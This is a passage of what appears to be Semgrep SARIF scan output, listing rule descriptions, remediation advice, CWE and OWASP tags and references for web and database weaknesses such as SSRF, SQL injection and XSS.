encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","id":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","name":"python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","id":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","name":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an unsecured transmission channel. 'URLopener.retrieve(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve.insecure-urlopener-retrieve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"help":{"markdown":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use `NSKeyedArchiver` without utilizing `requiringSecureCoding`, which is not considered secure. This can allow for deserialization vulnerabilities, and the application should always ensure `requiringSecureCoding` is set to true."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.keyedarchiver.swift-keyedarchiver","id":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","name":"swift.lang.ns.keyedarchiver.swift-keyedarchiver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.keyedarchiver.swift-keyedarchiver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","id":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","name":"csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-format.httpclient-taint-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","id":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","name":"kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.npmjs.com/package/bcrypt](https://www.npmjs.com/package/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","id":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","name":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","id":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","name":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape)\n - [http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/](http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/)\n","text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"help":{"markdown":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"helpUri":"https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","id":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","name":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"help":{"markdown":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect)\n - [https://brakemanscanner.org/docs/warning_types/redirect/](https://brakemanscanner.org/docs/warning_types/redirect/)\n","text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","id":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","name":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"help":{"markdown":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key)\n - [https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/](https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/)\n - [https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d](https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d)\n","text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","id":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","name":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","id":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","name":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint","id":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","name":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint.pgx-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","id":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","name":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: 